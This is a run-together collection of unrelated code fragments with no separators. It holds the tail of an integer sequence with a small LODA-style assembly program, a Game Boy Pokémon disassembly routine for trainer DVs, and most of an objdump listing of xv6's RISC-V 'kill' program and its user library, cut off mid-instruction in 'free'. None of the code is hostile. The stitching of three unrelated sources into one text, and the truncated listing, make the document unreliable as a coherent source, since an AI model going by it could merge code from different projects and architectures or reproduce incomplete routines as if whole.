,2274564,2303241,2332158,2361316,2390716,2420359,2450246,2480378,2510756,2541381,2572254,2603376,2634748,2666371,2698246 mov $2,$0 add $0,5 bin $0,3 mul $2,3 sub $0,$2 mov $1,$0 sub $1,11
GetTrainerDVs: ; Return the DVs of wOtherTrainerClass in bc push hl ld a, [wOtherTrainerClass] dec a ld c, a ld b, 0 ld hl, TrainerClassDVs add hl, bc add hl, bc ld a, [hli] ld b, a ld c, [hl] pop hl ret INCLUDE "data/trainers/dvs.asm"
user/_kill: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <main>: #include "kernel/stat.h" #include "user/user.h" int main(int argc, char **argv) { 0: 1101 addi sp,sp,-32 2: ec06 sd ra,24(sp) 4: e822 sd s0,16(sp) 6: e426 sd s1,8(sp) 8: e04a sd s2,0(sp) a: 1000 addi s0,sp,32 int i; if(argc < 2){ c: 4785 li a5,1 e: 02a7dd63 bge a5,a0,48 <main+0x48> 12: 00858493 addi s1,a1,8 16: ffe5091b addiw s2,a0,-2 1a: 1902 slli s2,s2,0x20 1c: 02095913 srli s2,s2,0x20 20: 090e slli s2,s2,0x3 22: 05c1 addi a1,a1,16 24: 992e add s2,s2,a1 fprintf(2, "usage: kill pid...\n"); exit(1); } for(i=1; i<argc; i++) kill(atoi(argv[i])); 26: 6088 ld a0,0(s1) 28: 00000097 auipc ra,0x0 2c: 1b2080e7 jalr 434(ra) # 1da <atoi> 30: 00000097 auipc ra,0x0 34: 2da080e7 jalr 730(ra) # 30a <kill> for(i=1; i<argc; i++) 38: 04a1 addi s1,s1,8 3a: ff2496e3 bne s1,s2,26 <main+0x26> exit(0); 3e: 4501 li a0,0 40: 00000097 auipc ra,0x0 44: 29a080e7 jalr 666(ra) # 2da <exit> fprintf(2, "usage: kill pid...\n"); 48: 00000597 auipc a1,0x0 4c: 7b058593 addi a1,a1,1968 # 7f8 <malloc+0xe8> 50: 4509 li a0,2 52: 00000097 auipc ra,0x0 56: 5d2080e7 jalr 1490(ra) # 624 <fprintf> exit(1); 5a: 4505 li a0,1 5c: 00000097 auipc ra,0x0 60: 27e080e7 jalr 638(ra) # 2da <exit> 0000000000000064 <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { 64: 1141 addi sp,sp,-16 66: e422 sd s0,8(sp) 68: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) 6a: 87aa mv a5,a0 6c: 0585 addi a1,a1,1 6e: 0785 addi a5,a5,1 70: fff5c703 lbu a4,-1(a1) 74: fee78fa3 sb a4,-1(a5) 78: fb75 bnez a4,6c <strcpy+0x8> ; return os; } 7a: 6422 ld s0,8(sp) 7c: 0141 addi sp,sp,16 7e: 8082 ret 0000000000000080 <strcmp>: int strcmp(const char *p, const char *q) { 80: 1141 addi sp,sp,-16 82: e422 sd s0,8(sp) 84: 0800 addi s0,sp,16 while(*p && *p == *q) 86: 00054783 lbu a5,0(a0) 8a: cb91 beqz a5,9e <strcmp+0x1e> 8c: 0005c703 lbu a4,0(a1) 90: 00f71763 bne a4,a5,9e <strcmp+0x1e> p++, q++; 94: 0505 addi a0,a0,1 96: 0585 addi a1,a1,1 while(*p && *p == *q) 98: 00054783 lbu a5,0(a0) 9c: fbe5 bnez a5,8c <strcmp+0xc> return (uchar)*p - (uchar)*q; 9e: 0005c503 lbu a0,0(a1) } a2: 40a7853b subw a0,a5,a0 a6: 6422 ld s0,8(sp) a8: 0141 addi sp,sp,16 aa: 8082 ret 00000000000000ac <strlen>: uint strlen(const char *s) { ac: 1141 addi sp,sp,-16 ae: e422 sd s0,8(sp) b0: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) b2: 00054783 lbu a5,0(a0) b6: cf91 beqz a5,d2 <strlen+0x26> b8: 0505 addi a0,a0,1 ba: 87aa mv a5,a0 bc: 4685 li a3,1 be: 9e89 subw a3,a3,a0 c0: 00f6853b addw a0,a3,a5 c4: 0785 addi a5,a5,1 c6: fff7c703 lbu a4,-1(a5) ca: fb7d bnez a4,c0 <strlen+0x14> ; return n; } cc: 6422 ld s0,8(sp) ce: 0141 addi sp,sp,16 d0: 8082 ret for(n = 0; s[n]; n++) d2: 4501 li a0,0 d4: bfe5 j cc <strlen+0x20> 00000000000000d6 <memset>: void* memset(void *dst, int c, uint n) { d6: 1141 addi sp,sp,-16 d8: e422 sd s0,8(sp) da: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ dc: ce09 beqz a2,f6 <memset+0x20> de: 87aa mv a5,a0 e0: fff6071b addiw a4,a2,-1 e4: 1702 slli a4,a4,0x20 e6: 9301 srli a4,a4,0x20 e8: 0705 addi a4,a4,1 ea: 972a add a4,a4,a0 cdst[i] = c; ec: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ f0: 0785 addi a5,a5,1 f2: fee79de3 bne a5,a4,ec <memset+0x16> } return dst; } f6: 6422 ld s0,8(sp) f8: 0141 addi sp,sp,16 fa: 8082 ret 00000000000000fc <strchr>: char* strchr(const char *s, char c) { fc: 1141 addi sp,sp,-16 fe: e422 sd s0,8(sp) 100: 0800 addi s0,sp,16 for(; *s; s++) 102: 00054783 lbu a5,0(a0) 106: cb99 beqz a5,11c <strchr+0x20> if(*s == c) 108: 00f58763 beq a1,a5,116 <strchr+0x1a> for(; *s; s++) 10c: 0505 addi a0,a0,1 10e: 00054783 lbu a5,0(a0) 112: fbfd bnez a5,108 <strchr+0xc> return (char*)s; return 0; 114: 4501 li a0,0 } 116: 6422 ld s0,8(sp) 118: 0141 addi sp,sp,16 11a: 8082 ret return 0; 11c: 4501 li a0,0 11e: bfe5 j 116 <strchr+0x1a> 0000000000000120 <gets>: char* gets(char *buf, int max) { 120: 711d addi sp,sp,-96 122: ec86 sd ra,88(sp) 124: e8a2 sd s0,80(sp) 126: e4a6 sd s1,72(sp) 128: e0ca sd s2,64(sp) 12a: fc4e sd s3,56(sp) 12c: f852 sd s4,48(sp) 12e: f456 sd s5,40(sp) 130: f05a sd s6,32(sp) 132: ec5e sd s7,24(sp) 134: 1080 addi s0,sp,96 136: 8baa mv s7,a0 138: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ 13a: 892a mv s2,a0 13c: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 13e: 4aa9 li s5,10 140: 4b35 li s6,13 for(i=0; i+1 < max; ){ 142: 89a6 mv s3,s1 144: 2485 addiw s1,s1,1 146: 0344d863 bge s1,s4,176 <gets+0x56> cc = read(0, &c, 1); 14a: 4605 li a2,1 14c: faf40593 addi a1,s0,-81 150: 4501 li a0,0 152: 00000097 auipc ra,0x0 156: 1a0080e7 jalr 416(ra) # 2f2 <read> if(cc < 1) 15a: 00a05e63 blez a0,176 <gets+0x56> buf[i++] = c; 15e: faf44783 lbu a5,-81(s0) 162: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 166: 01578763 beq a5,s5,174 <gets+0x54> 16a: 0905 addi s2,s2,1 16c: fd679be3 bne a5,s6,142 <gets+0x22> for(i=0; i+1 < max; ){ 170: 89a6 mv s3,s1 172: a011 j 176 <gets+0x56> 174: 89a6 mv s3,s1 break; } buf[i] = '\0'; 176: 99de add s3,s3,s7 178: 00098023 sb zero,0(s3) return buf; } 17c: 855e mv a0,s7 17e: 60e6 ld ra,88(sp) 180: 6446 ld s0,80(sp) 182: 64a6 ld s1,72(sp) 184: 6906 ld s2,64(sp) 186: 79e2 ld s3,56(sp) 188: 7a42 ld s4,48(sp) 18a: 7aa2 ld s5,40(sp) 18c: 7b02 ld s6,32(sp) 18e: 6be2 ld s7,24(sp) 190: 6125 addi sp,sp,96 192: 8082 ret 0000000000000194 <stat>: int stat(const char *n, struct stat *st) { 194: 1101 addi sp,sp,-32 196: ec06 sd ra,24(sp) 198: e822 sd s0,16(sp) 19a: e426 sd s1,8(sp) 19c: e04a sd s2,0(sp) 19e: 1000 addi s0,sp,32 1a0: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 1a2: 4581 li a1,0 1a4: 00000097 auipc ra,0x0 1a8: 176080e7 jalr 374(ra) # 31a <open> if(fd < 0) 1ac: 02054563 bltz a0,1d6 <stat+0x42> 1b0: 84aa mv s1,a0 return -1; r = fstat(fd, st); 1b2: 85ca mv a1,s2 1b4: 00000097 auipc ra,0x0 1b8: 17e080e7 jalr 382(ra) # 332 <fstat> 1bc: 892a mv s2,a0 close(fd); 1be: 8526 mv a0,s1 1c0: 00000097 auipc ra,0x0 1c4: 142080e7 jalr 322(ra) # 302 <close> return r; } 1c8: 854a mv a0,s2 1ca: 60e2 ld ra,24(sp) 1cc: 6442 ld s0,16(sp) 1ce: 64a2 ld s1,8(sp) 1d0: 6902 ld s2,0(sp) 1d2: 6105 addi sp,sp,32 1d4: 8082 ret return -1; 1d6: 597d li s2,-1 1d8: bfc5 j 1c8 <stat+0x34> 00000000000001da <atoi>: int atoi(const char *s) { 1da: 1141 addi sp,sp,-16 1dc: e422 sd s0,8(sp) 1de: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 1e0: 00054603 lbu a2,0(a0) 1e4: fd06079b addiw a5,a2,-48 1e8: 0ff7f793 andi a5,a5,255 1ec: 4725 li a4,9 1ee: 02f76963 bltu a4,a5,220 <atoi+0x46> 1f2: 86aa mv a3,a0 n = 0; 1f4: 4501 li a0,0 while('0' <= *s && *s <= '9') 1f6: 45a5 li a1,9 n = n*10 + *s++ - '0'; 1f8: 0685 addi a3,a3,1 1fa: 0025179b slliw a5,a0,0x2 1fe: 9fa9 addw a5,a5,a0 200: 0017979b slliw a5,a5,0x1 204: 9fb1 addw a5,a5,a2 206: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 20a: 0006c603 lbu a2,0(a3) 20e: fd06071b addiw a4,a2,-48 212: 0ff77713 andi a4,a4,255 216: fee5f1e3 bgeu a1,a4,1f8 <atoi+0x1e> return n; } 21a: 6422 ld s0,8(sp) 21c: 0141 addi sp,sp,16 21e: 8082 ret n = 0; 220: 4501 li a0,0 222: bfe5 j 21a <atoi+0x40> 0000000000000224 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 224: 1141 addi sp,sp,-16 226: e422 sd s0,8(sp) 228: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 22a: 02b57663 bgeu a0,a1,256 <memmove+0x32> while(n-- > 0) 22e: 02c05163 blez a2,250 <memmove+0x2c> 232: fff6079b addiw a5,a2,-1 236: 1782 slli a5,a5,0x20 238: 9381 srli a5,a5,0x20 23a: 0785 addi a5,a5,1 23c: 97aa add a5,a5,a0 dst = vdst; 23e: 872a mv a4,a0 *dst++ = *src++; 240: 0585 addi a1,a1,1 242: 0705 addi a4,a4,1 244: fff5c683 lbu a3,-1(a1) 248: fed70fa3 sb a3,-1(a4) while(n-- > 0) 24c: fee79ae3 bne a5,a4,240 <memmove+0x1c> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 250: 6422 ld s0,8(sp) 252: 0141 addi sp,sp,16 254: 8082 ret dst += n; 256: 00c50733 add a4,a0,a2 src += n; 25a: 95b2 add a1,a1,a2 while(n-- > 0) 25c: fec05ae3 blez a2,250 <memmove+0x2c> 260: fff6079b addiw a5,a2,-1 264: 1782 slli a5,a5,0x20 266: 9381 srli a5,a5,0x20 268: fff7c793 not a5,a5 26c: 97ba add a5,a5,a4 *--dst = *--src; 26e: 15fd addi a1,a1,-1 270: 177d addi a4,a4,-1 272: 0005c683 lbu a3,0(a1) 276: 00d70023 sb a3,0(a4) while(n-- > 0) 27a: fee79ae3 bne a5,a4,26e <memmove+0x4a> 27e: bfc9 j 250 <memmove+0x2c> 0000000000000280 <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 280: 1141 addi sp,sp,-16 282: e422 sd s0,8(sp) 284: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 286: ca05 beqz a2,2b6 <memcmp+0x36> 288: fff6069b addiw a3,a2,-1 28c: 1682 slli a3,a3,0x20 28e: 9281 srli a3,a3,0x20 290: 0685 addi a3,a3,1 292: 96aa add a3,a3,a0 if (*p1 != *p2) { 294: 00054783 lbu a5,0(a0) 298: 0005c703 lbu a4,0(a1) 29c: 00e79863 bne a5,a4,2ac <memcmp+0x2c> return *p1 - *p2; } p1++; 2a0: 0505 addi a0,a0,1 p2++; 2a2: 0585 addi a1,a1,1 while (n-- > 0) { 2a4: fed518e3 bne a0,a3,294 <memcmp+0x14> } return 0; 2a8: 4501 li a0,0 2aa: a019 j 2b0 <memcmp+0x30> return *p1 - *p2; 2ac: 40e7853b subw a0,a5,a4 } 2b0: 6422 ld s0,8(sp) 2b2: 0141 addi sp,sp,16 2b4: 8082 ret return 0; 2b6: 4501 li a0,0 2b8: bfe5 j 2b0 <memcmp+0x30> 00000000000002ba <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 2ba: 1141 addi sp,sp,-16 2bc: e406 sd ra,8(sp) 2be: e022 sd s0,0(sp) 2c0: 0800 addi s0,sp,16 return memmove(dst, src, n); 2c2: 00000097 auipc ra,0x0 2c6: f62080e7 jalr -158(ra) # 224 <memmove> } 2ca: 60a2 ld ra,8(sp) 2cc: 6402 ld s0,0(sp) 2ce: 0141 addi sp,sp,16 2d0: 8082 ret 00000000000002d2 <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 2d2: 4885 li a7,1 ecall 2d4: 00000073 ecall ret 2d8: 8082 ret 00000000000002da <exit>: .global exit exit: li a7, SYS_exit 2da: 4889 li a7,2 ecall 2dc: 00000073 ecall ret 2e0: 8082 ret 00000000000002e2 <wait>: .global wait wait: li a7, SYS_wait 2e2: 488d li a7,3 ecall 2e4: 00000073 ecall ret 2e8: 8082 ret 00000000000002ea <pipe>: .global pipe pipe: li a7, SYS_pipe 2ea: 4891 li a7,4 ecall 2ec: 00000073 ecall ret 2f0: 8082 ret 00000000000002f2 <read>: .global read read: li a7, SYS_read 2f2: 4895 li a7,5 ecall 2f4: 00000073 ecall ret 2f8: 8082 ret 00000000000002fa <write>: .global write write: li a7, SYS_write 2fa: 48c1 li a7,16 ecall 2fc: 00000073 ecall ret 300: 8082 ret 0000000000000302 <close>: .global close close: li a7, SYS_close 302: 48d5 li a7,21 ecall 304: 00000073 ecall ret 308: 8082 ret 000000000000030a <kill>: .global kill kill: li a7, SYS_kill 30a: 4899 li a7,6 ecall 30c: 00000073 ecall ret 310: 8082 ret 0000000000000312 <exec>: .global exec exec: li a7, SYS_exec 312: 489d li a7,7 ecall 314: 00000073 ecall ret 318: 8082 ret 000000000000031a <open>: .global open open: li a7, SYS_open 31a: 48bd li a7,15 ecall 31c: 00000073 ecall ret 320: 8082 ret 0000000000000322 <mknod>: .global mknod mknod: li a7, SYS_mknod 322: 48c5 li a7,17 ecall 324: 00000073 ecall ret 328: 8082 ret 000000000000032a <unlink>: .global unlink unlink: li a7, SYS_unlink 32a: 48c9 li a7,18 ecall 32c: 00000073 ecall ret 330: 8082 ret 0000000000000332 <fstat>: .global fstat fstat: li a7, SYS_fstat 332: 48a1 li a7,8 ecall 334: 00000073 ecall ret 338: 8082 ret 000000000000033a <link>: .global link link: li a7, SYS_link 33a: 48cd li a7,19 ecall 33c: 00000073 ecall ret 340: 8082 ret 0000000000000342 <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 342: 48d1 li a7,20 ecall 344: 00000073 ecall ret 348: 8082 ret 000000000000034a <chdir>: .global chdir chdir: li a7, SYS_chdir 34a: 48a5 li a7,9 ecall 34c: 00000073 ecall ret 350: 8082 ret 0000000000000352 <dup>: .global dup dup: li a7, SYS_dup 352: 48a9 li a7,10 ecall 354: 00000073 ecall ret 358: 8082 ret 000000000000035a <getpid>: .global getpid getpid: li a7, SYS_getpid 35a: 48ad li a7,11 ecall 35c: 00000073 ecall ret 360: 8082 ret 0000000000000362 <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 362: 48b1 li a7,12 ecall 364: 00000073 ecall ret 368: 8082 ret 000000000000036a <sleep>: .global sleep sleep: li a7, SYS_sleep 36a: 48b5 li a7,13 ecall 36c: 00000073 ecall ret 370: 8082 ret 0000000000000372 <uptime>: .global uptime uptime: li a7, SYS_uptime 372: 48b9 li a7,14 ecall 374: 00000073 ecall ret 378: 8082 ret 000000000000037a <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 37a: 1101 addi sp,sp,-32 37c: ec06 sd ra,24(sp) 37e: e822 sd s0,16(sp) 380: 1000 addi s0,sp,32 382: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 386: 4605 li a2,1 388: fef40593 addi a1,s0,-17 38c: 00000097 auipc ra,0x0 390: f6e080e7 jalr -146(ra) # 2fa <write> } 394: 60e2 ld ra,24(sp) 396: 6442 ld s0,16(sp) 398: 6105 addi sp,sp,32 39a: 8082 ret 000000000000039c <printint>: static void printint(int fd, int xx, int base, int sgn) { 39c: 7139 addi sp,sp,-64 39e: fc06 sd ra,56(sp) 3a0: f822 sd s0,48(sp) 3a2: f426 sd s1,40(sp) 3a4: f04a sd s2,32(sp) 3a6: ec4e sd s3,24(sp) 3a8: 0080 addi s0,sp,64 3aa: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 3ac: c299 beqz a3,3b2 <printint+0x16> 3ae: 0805c863 bltz a1,43e <printint+0xa2> neg = 1; x = -xx; } else { x = xx; 3b2: 2581 sext.w a1,a1 neg = 0; 3b4: 4881 li a7,0 3b6: fc040693 addi a3,s0,-64 } i = 0; 3ba: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 3bc: 2601 sext.w a2,a2 3be: 00000517 auipc a0,0x0 3c2: 45a50513 addi a0,a0,1114 # 818 <digits> 3c6: 883a mv a6,a4 3c8: 2705 addiw a4,a4,1 3ca: 02c5f7bb remuw a5,a1,a2 3ce: 1782 slli a5,a5,0x20 3d0: 9381 srli a5,a5,0x20 3d2: 97aa add a5,a5,a0 3d4: 0007c783 lbu a5,0(a5) 3d8: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 3dc: 0005879b sext.w a5,a1 3e0: 02c5d5bb divuw a1,a1,a2 3e4: 0685 addi a3,a3,1 3e6: fec7f0e3 bgeu a5,a2,3c6 <printint+0x2a> if(neg) 3ea: 00088b63 beqz a7,400 <printint+0x64> buf[i++] = '-'; 3ee: fd040793 addi a5,s0,-48 3f2: 973e add a4,a4,a5 3f4: 02d00793 li a5,45 3f8: fef70823 sb a5,-16(a4) 3fc: 0028071b addiw a4,a6,2 while(--i >= 0) 400: 02e05863 blez a4,430 <printint+0x94> 404: fc040793 addi a5,s0,-64 408: 00e78933 add s2,a5,a4 40c: fff78993 addi s3,a5,-1 410: 99ba add s3,s3,a4 412: 377d addiw a4,a4,-1 414: 1702 slli a4,a4,0x20 416: 9301 srli a4,a4,0x20 418: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 41c: fff94583 lbu a1,-1(s2) 420: 8526 mv a0,s1 422: 00000097 auipc ra,0x0 426: f58080e7 jalr -168(ra) # 37a <putc> while(--i >= 0) 42a: 197d addi s2,s2,-1 42c: ff3918e3 bne s2,s3,41c <printint+0x80> } 430: 70e2 ld ra,56(sp) 432: 7442 ld s0,48(sp) 434: 74a2 ld s1,40(sp) 436: 7902 ld s2,32(sp) 438: 69e2 ld s3,24(sp) 43a: 6121 addi sp,sp,64 43c: 8082 ret x = -xx; 43e: 40b005bb negw a1,a1 neg = 1; 442: 4885 li a7,1 x = -xx; 444: bf8d j 3b6 <printint+0x1a> 0000000000000446 <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 446: 7119 addi sp,sp,-128 448: fc86 sd ra,120(sp) 44a: f8a2 sd s0,112(sp) 44c: f4a6 sd s1,104(sp) 44e: f0ca sd s2,96(sp) 450: ecce sd s3,88(sp) 452: e8d2 sd s4,80(sp) 454: e4d6 sd s5,72(sp) 456: e0da sd s6,64(sp) 458: fc5e sd s7,56(sp) 45a: f862 sd s8,48(sp) 45c: f466 sd s9,40(sp) 45e: f06a sd s10,32(sp) 460: ec6e sd s11,24(sp) 462: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 464: 0005c903 lbu s2,0(a1) 468: 18090f63 beqz s2,606 <vprintf+0x1c0> 46c: 8aaa mv s5,a0 46e: 8b32 mv s6,a2 470: 00158493 addi s1,a1,1 state = 0; 474: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 476: 02500a13 li s4,37 if(c == 'd'){ 47a: 06400c13 li s8,100 printint(fd, va_arg(ap, int), 10, 1); } else if(c == 'l') { 47e: 06c00c93 li s9,108 printint(fd, va_arg(ap, uint64), 10, 0); } else if(c == 'x') { 482: 07800d13 li s10,120 printint(fd, va_arg(ap, int), 16, 0); } else if(c == 'p') { 486: 07000d93 li s11,112 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 48a: 00000b97 auipc s7,0x0 48e: 38eb8b93 addi s7,s7,910 # 818 <digits> 492: a839 j 4b0 <vprintf+0x6a> putc(fd, c); 494: 85ca mv a1,s2 496: 8556 mv a0,s5 498: 00000097 auipc ra,0x0 49c: ee2080e7 jalr -286(ra) # 37a <putc> 4a0: a019 j 4a6 <vprintf+0x60> } else if(state == '%'){ 4a2: 01498f63 beq s3,s4,4c0 <vprintf+0x7a> for(i = 0; fmt[i]; i++){ 4a6: 0485 addi s1,s1,1 4a8: fff4c903 lbu s2,-1(s1) 4ac: 14090d63 beqz s2,606 <vprintf+0x1c0> c = fmt[i] & 0xff; 4b0: 0009079b sext.w a5,s2 if(state == 0){ 4b4: fe0997e3 bnez s3,4a2 <vprintf+0x5c> if(c == '%'){ 4b8: fd479ee3 bne a5,s4,494 <vprintf+0x4e> state = '%'; 4bc: 89be mv s3,a5 4be: b7e5 j 4a6 <vprintf+0x60> if(c == 'd'){ 4c0: 05878063 beq a5,s8,500 <vprintf+0xba> } else if(c == 'l') { 4c4: 05978c63 beq a5,s9,51c <vprintf+0xd6> } else if(c == 'x') { 4c8: 07a78863 beq a5,s10,538 <vprintf+0xf2> } else if(c == 'p') { 4cc: 09b78463 beq a5,s11,554 <vprintf+0x10e> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ 4d0: 07300713 li a4,115 4d4: 0ce78663 beq a5,a4,5a0 <vprintf+0x15a> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 4d8: 06300713 li a4,99 4dc: 0ee78e63 beq a5,a4,5d8 <vprintf+0x192> putc(fd, va_arg(ap, uint)); } else if(c == '%'){ 4e0: 11478863 beq a5,s4,5f0 <vprintf+0x1aa> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 4e4: 85d2 mv a1,s4 4e6: 8556 mv a0,s5 4e8: 00000097 auipc ra,0x0 4ec: e92080e7 jalr -366(ra) # 37a <putc> putc(fd, c); 4f0: 85ca mv a1,s2 4f2: 8556 mv a0,s5 4f4: 00000097 auipc ra,0x0 4f8: e86080e7 jalr -378(ra) # 37a <putc> } state = 0; 4fc: 4981 li s3,0 4fe: b765 j 4a6 <vprintf+0x60> printint(fd, va_arg(ap, int), 10, 1); 500: 008b0913 addi s2,s6,8 504: 4685 li a3,1 506: 4629 li a2,10 508: 000b2583 lw a1,0(s6) 50c: 8556 mv a0,s5 50e: 00000097 auipc ra,0x0 512: e8e080e7 jalr -370(ra) # 39c <printint> 516: 8b4a mv s6,s2 state = 0; 518: 4981 li s3,0 51a: b771 j 4a6 <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 51c: 008b0913 addi s2,s6,8 520: 4681 li a3,0 522: 4629 li a2,10 524: 000b2583 lw a1,0(s6) 528: 8556 mv a0,s5 52a: 00000097 auipc ra,0x0 52e: e72080e7 jalr -398(ra) # 39c <printint> 532: 8b4a mv s6,s2 state = 0; 534: 4981 li s3,0 536: bf85 j 4a6 <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 538: 008b0913 addi s2,s6,8 53c: 4681 li a3,0 53e: 4641 li a2,16 540: 000b2583 lw a1,0(s6) 544: 8556 mv a0,s5 546: 00000097 auipc ra,0x0 54a: e56080e7 jalr -426(ra) # 39c <printint> 54e: 8b4a mv s6,s2 state = 0; 550: 4981 li s3,0 552: bf91 j 4a6 <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 554: 008b0793 addi a5,s6,8 558: f8f43423 sd a5,-120(s0) 55c: 000b3983 ld s3,0(s6) putc(fd, '0'); 560: 03000593 li a1,48 564: 8556 mv a0,s5 566: 00000097 auipc ra,0x0 56a: e14080e7 jalr -492(ra) # 37a <putc> putc(fd, 'x'); 56e: 85ea mv a1,s10 570: 8556 mv a0,s5 572: 00000097 auipc ra,0x0 576: e08080e7 jalr -504(ra) # 37a <putc> 57a: 4941 li s2,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 57c: 03c9d793 srli a5,s3,0x3c 580: 97de add a5,a5,s7 582: 0007c583 lbu a1,0(a5) 586: 8556 mv a0,s5 588: 00000097 auipc ra,0x0 58c: df2080e7 jalr -526(ra) # 37a <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 590: 0992 slli s3,s3,0x4 592: 397d addiw s2,s2,-1 594: fe0914e3 bnez s2,57c <vprintf+0x136> printptr(fd, va_arg(ap, uint64)); 598: f8843b03 ld s6,-120(s0) state = 0; 59c: 4981 li s3,0 59e: b721 j 4a6 <vprintf+0x60> s = va_arg(ap, char*); 5a0: 008b0993 addi s3,s6,8 5a4: 000b3903 ld s2,0(s6) if(s == 0) 5a8: 02090163 beqz s2,5ca <vprintf+0x184> while(*s != 0){ 5ac: 00094583 lbu a1,0(s2) 5b0: c9a1 beqz a1,600 <vprintf+0x1ba> putc(fd, *s); 5b2: 8556 mv a0,s5 5b4: 00000097 auipc ra,0x0 5b8: dc6080e7 jalr -570(ra) # 37a <putc> s++; 5bc: 0905 addi s2,s2,1 while(*s != 0){ 5be: 00094583 lbu a1,0(s2) 5c2: f9e5 bnez a1,5b2 <vprintf+0x16c> s = va_arg(ap, char*); 5c4: 8b4e mv s6,s3 state = 0; 5c6: 4981 li s3,0 5c8: bdf9 j 4a6 <vprintf+0x60> s = "(null)"; 5ca: 00000917 auipc s2,0x0 5ce: 24690913 addi s2,s2,582 # 810 <malloc+0x100> while(*s != 0){ 5d2: 02800593 li a1,40 5d6: bff1 j 5b2 <vprintf+0x16c> putc(fd, va_arg(ap, uint)); 5d8: 008b0913 addi s2,s6,8 5dc: 000b4583 lbu a1,0(s6) 5e0: 8556 mv a0,s5 5e2: 00000097 auipc ra,0x0 5e6: d98080e7 jalr -616(ra) # 37a <putc> 5ea: 8b4a mv s6,s2 state = 0; 5ec: 4981 li s3,0 5ee: bd65 j 4a6 <vprintf+0x60> putc(fd, c); 5f0: 85d2 mv a1,s4 5f2: 8556 mv a0,s5 5f4: 00000097 auipc ra,0x0 5f8: d86080e7 jalr -634(ra) # 37a <putc> state = 0; 5fc: 4981 li s3,0 5fe: b565 j 4a6 <vprintf+0x60> s = va_arg(ap, char*); 600: 8b4e mv s6,s3 state = 0; 602: 4981 li s3,0 604: b54d j 4a6 <vprintf+0x60> } } } 606: 70e6 ld ra,120(sp) 608: 7446 ld s0,112(sp) 60a: 74a6 ld s1,104(sp) 60c: 7906 ld s2,96(sp) 60e: 69e6 ld s3,88(sp) 610: 6a46 ld s4,80(sp) 612: 6aa6 ld s5,72(sp) 614: 6b06 ld s6,64(sp) 616: 7be2 ld s7,56(sp) 618: 7c42 ld s8,48(sp) 61a: 7ca2 ld s9,40(sp) 61c: 7d02 ld s10,32(sp) 61e: 6de2 ld s11,24(sp) 620: 6109 addi sp,sp,128 622: 8082 ret 0000000000000624 <fprintf>: void fprintf(int fd, const char *fmt, ...) { 624: 715d addi sp,sp,-80 626: ec06 sd ra,24(sp) 628: e822 sd s0,16(sp) 62a: 1000 addi s0,sp,32 62c: e010 sd a2,0(s0) 62e: e414 sd a3,8(s0) 630: e818 sd a4,16(s0) 632: ec1c sd a5,24(s0) 634: 03043023 sd a6,32(s0) 638: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 63c: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 640: 8622 mv a2,s0 642: 00000097 auipc ra,0x0 646: e04080e7 jalr -508(ra) # 446 <vprintf> } 64a: 60e2 ld ra,24(sp) 64c: 6442 ld s0,16(sp) 64e: 6161 addi sp,sp,80 650: 8082 ret 0000000000000652 <printf>: void printf(const char *fmt, ...) { 652: 711d addi sp,sp,-96 654: ec06 sd ra,24(sp) 656: e822 sd s0,16(sp) 658: 1000 addi s0,sp,32 65a: e40c sd a1,8(s0) 65c: e810 sd a2,16(s0) 65e: ec14 sd a3,24(s0) 660: f018 sd a4,32(s0) 662: f41c sd a5,40(s0) 664: 03043823 sd a6,48(s0) 668: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 66c: 00840613 addi a2,s0,8 670: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 674: 85aa mv a1,a0 676: 4505 li a0,1 678: 00000097 auipc ra,0x0 67c: dce080e7 jalr -562(ra) # 446 <vprintf> } 680: 60e2 ld ra,24(sp) 682: 6442 ld s0,16(sp) 684: 6125 addi sp,sp,96 686: 8082 ret 0000000000000688 <free>: static Header base; static Header *freep; void free(void *ap) { 688: 1141 addi sp,sp,-16 68a: e422 sd 